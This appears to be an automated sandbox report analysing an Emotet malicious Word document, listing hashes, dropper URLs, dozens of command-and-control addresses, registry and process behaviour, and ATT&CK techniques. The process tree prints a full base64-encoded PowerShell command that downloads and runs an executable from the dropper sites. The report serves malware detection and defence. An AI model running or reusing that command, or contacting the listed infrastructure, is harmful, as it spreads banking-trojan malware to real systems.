emotet | 3150dba7885b3ffb68c46ff0998b7bbdf3fd3a08a2b1d1e3e8a9247f68f3073d

General

Target
PO_07272020EX.doc
Size 170KB
Sample200727-1aerke1s8x
SHA256 3150dba7885b3ffb68c46ff0998b7bbdf3fd3a08a2b1d1e3e8a9247f68f3073d
MD5 c3612d5a54aff0b6cce080af6b39f1eb
SHA1 68105ab5216983853369b9cf830a0b92cb18c9c3
SHA512 e873967b75a324bf8f5576524c443da47fcd2abe831dd27068f188395e6c81bba4e19d09887df33cafd61ca155411080c56cb63044c5c3c5474c68a21bb831b7
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://ballooneo.com/wp-admin/qm_rmxcz_ts/
exe.dropper
https://www.bendys.com.au/cgi-bin/5_i_7qoao/
exe.dropper
http://biomayest.com/xhtmlcss/2ano_2h_7szpl0id5j/
exe.dropper
https://www.shablingo.com/cspr/lx_48pa6_cwi/
exe.dropper
http://ximboo.com/test/oi_lv_48/

Extracted

Family

emotet

C2

71.208.216.10:80
212.51.142.238:8080
5.39.91.110:7080
109.74.5.95:8080
121.124.124.40:7080
139.130.242.43:80
162.241.92.219:8080
93.156.165.186:80
203.153.216.189:7080
169.239.182.217:8080
78.189.165.52:8080
37.187.72.193:8080
110.145.77.103:80
190.144.18.198:80
209.182.216.177:443
74.208.45.104:8080
209.141.54.221:8080
190.160.53.126:80
87.106.139.101:8080
176.111.60.55:8080
162.154.38.103:80
70.167.215.250:8080
95.179.229.244:8080
153.126.210.205:7080
91.231.166.124:8080
79.98.24.39:8080
173.91.22.41:80
210.165.156.91:80
91.205.215.66:443
108.48.41.69:80
189.212.199.126:443
61.19.246.238:443
168.235.67.138:7080
104.131.44.150:8080
24.1.189.87:8080
109.117.53.230:443
104.236.246.93:8080
79.7.158.208:80
91.211.88.52:7080
222.214.218.37:4143
180.92.239.110:8080
81.2.235.111:8080
41.60.200.34:80
200.41.121.90:80
75.139.38.211:80
157.245.99.39:8080
137.59.187.107:8080
185.94.252.104:443
108.26.231.214:80
5.196.74.210:8080
104.131.11.150:443
103.86.49.11:8080
95.9.185.228:443
37.139.21.175:8080
62.138.26.28:8080
87.106.136.232:8080
200.55.243.138:8080
95.213.236.64:8080
78.24.219.147:8080
139.59.60.244:8080
46.105.131.87:80
50.116.86.205:8080
113.160.130.116:8443
31.31.77.83:443
190.55.181.54:443
116.203.32.252:8080
93.51.50.171:8080
94.49.254.194:80
62.75.141.82:80
201.173.217.124:443
186.208.123.210:443
46.105.131.79:8080
124.45.106.173:443

rsa_pubkey.plain

Signatures

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Windows.Devices.Picker\rastlsext.exe	268.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
2168	WINWORD.EXE
2168	WINWORD.EXE
2168	WINWORD.EXE
2168	WINWORD.EXE
2168	WINWORD.EXE
2168	WINWORD.EXE
2168	WINWORD.EXE
2168	WINWORD.EXE
2168	WINWORD.EXE
2168	WINWORD.EXE
1824	268.exe
1824	268.exe
2140	rastlsext.exe
2140	rastlsext.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
10	808	powersheLL.exe

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1824-8-0x00000000022D0000-0x00000000022DC000-memory.dmp	emotet
behavioral2/memory/2140-11-0x0000000000500000-0x000000000050C000-memory.dmp	emotet

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
808	powersheLL.exe
808	powersheLL.exe
808	powersheLL.exe
2140	rastlsext.exe
2140	rastlsext.exe
2140	rastlsext.exe
2140	rastlsext.exe

Executes dropped EXE 2 IoCs

pid	Process
1824	268.exe
2140	rastlsext.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1824 wrote to memory of 2140	1824	268.exe	76
PID 1824 wrote to memory of 2140	1824	268.exe	76
PID 1824 wrote to memory of 2140	1824	268.exe	76

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2168	WINWORD.EXE
2168	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	808	3832	powersheLL.exe	67

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	808	powersheLL.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO_07272020EX.doc" /o ""
1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
PID:2168

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABzAHUAYQBzAGQAbwB1AGMAPQAnAHAAYQBvAHIAcAB1AHUAYgB4AGkAZQBxAHUAagBvAG8AZgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAFUAUgBJAFQAWQBgAHAAcgBPAGAAVABPAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAeQBhAGkAZgBkAHUAdQBkACAAPQAgACcAMgA2ADgAJwA7ACQAZwBhAGUAdABoAG4AZQBpAHMAbABpAG0AdgBhAGUAcAA9ACcAdAB1AHEAdQBmAGEAdQB0AGgAZQBvAGgAagB1AHoAJwA7ACQAdABoAHUAdgB2AGEAaQBzAGMAaABlAHQAaAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAeQBhAGkAZgBkAHUAdQBkACsAJwAuAGUAeABlACcAOwAkAHYAbwB1AGMAaABzAG8AbwBmAG4AZQBhAHIAPQAnAHgAdQB1AHkAeABvAGkAdgB5AGkAYQB5AGMAaQB0AGgAJwA7ACQAeABvAG0AZwBvAGUAZABwAGkAZQByAD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAVAAuAHcARQBiAGMAbABJAGUATgBUADsAJAB5AGEAZQBnAGMAZQBvAHMAYwBoAG8AdQBjAGgAZgBpAGUAawA9ACcAaAB0AHQAcAA6AC8ALwBiAGEAbABsAG8AbwBuAGUAbwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcQBtAF8AcgBtAHgAYwB6AF8AdABzAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBiAGUAbgBkAHkAcwAuAGMAbwBtAC4AYQB1AC8AYwBnAGkALQBiAGkAbgAvADUAXwBpAF8ANwBxAG8AYQBvAC8AKgBoAHQAdABwADoALwAvAGIAaQBvAG0AYQB5AGUAcwB0AC4AYwBvAG0ALwB4AGgAdABtAGwAYwBzAHMALwAyAGEAbgBvAF8AMgBoAF8ANwBzAHoAcABsADAAaQBkADUAagAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBoAGEAYgBsAGkAbgBnAG8ALgBjAG8AbQAvAGMAcwBwAHIALwBsAHgAXwA0ADgAcABhADYAXwBjAHcAaQAvACoAaAB0AHQAcAA6AC8ALwB4AGkAbQBiAG8AbwAuAGMAbwBtAC8AdABlAHMAdAAvAG8AaQBfAGwAdgBfADQAOAAvACcALgAiAFMAYABwAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAbgBvAG8AZABtAGEAZQBiAHIAZQBvAGYAPQAnAHYAZQB1AGcAbgBlAG8AbQB2AGkAZQBnACcAOwBmAG8AcgBlAGEAYwBoACgAJABoAGUAZwBtAG8AdQBrAGcAYQBpAG0AIABpAG4AIAAkAHkAYQBlAGcAYwBlAG8AcwBjAGgAbwB1AGMAaABmAGkAZQBrACkAewB0AHIAeQB7ACQAeABvAG0AZwBvAGUAZABwAGkAZQByAC4AIgBkAE8AdwBOAEwAYABvAEEAYABEAGYAYABJAGwAZQAiACgAJABoAGUAZwBtAG8AdQBrAGcAYQBpAG0ALAAgACQAdABoAHUAdgB2AGEAaQBzAGMAaABlAHQAaAApADsAJABtAGkAegBzAGUAegB3AHUAegA9ACcAdwB1AHkAeABvAGkAegAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAHQAaAB1AHYAdgBhAGkAcwBjAGgAZQB0AGgAKQAuACIAbABgAEUATgBgAGcAVABoACIAIAAtAGcAZQAgADIAMQA1ADEAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBSAGAAZQBgAEEAVABFACIAKAAkAHQAaAB1AHYAdgBhAGkAcwBjAGgAZQB0AGgAKQA7ACQAdAB1AHUAYwB0AGEAcwA9ACcAcwB1AHUAcABzAGkAYQBkACcAOwBiAHIAZQBhAGsAOwAkAG0AaQBhAHgAZwBlAHYAbQBvAGkAagBoAG8AYQB2AD0AJwBuAGEAZQBnAGIAaQBsAHgAbwBlAHgAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAdwBpAGEAawB4AGEAZQBzAD0AJwBtAHUAYQBxAHUAaABlAHkAawB1AGEAYwBsAGkAZQBtACcA
1⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:808

C:\Users\Admin\268.exe
C:\Users\Admin\268.exe
1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1824
- C:\Windows\SysWOW64\Windows.Devices.Picker\rastlsext.exe
  "C:\Windows\SysWOW64\Windows.Devices.Picker\rastlsext.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  PID:2140

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1824-8-0x00000000022D0000-0x00000000022DC000-memory.dmp

Download

memory/2140-11-0x0000000000500000-0x000000000050C000-memory.dmp

Download

memory/2168-0-0x000001CD89BA3000-0x000001CD89BA8000-memory.dmp

Download

memory/2168-1-0x000001CD89BA8000-0x000001CD89BAD000-memory.dmp

Download

memory/2168-2-0x000001CD89BA8000-0x000001CD89BAD000-memory.dmp

Download

memory/2168-3-0x000001CD876CA000-0x000001CD876EB000-memory.dmp

Download

memory/2168-4-0x000001CD89DC7000-0x000001CD89DCC000-memory.dmp

Download

memory/2168-5-0x000001CD89DC7000-0x000001CD89DCC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads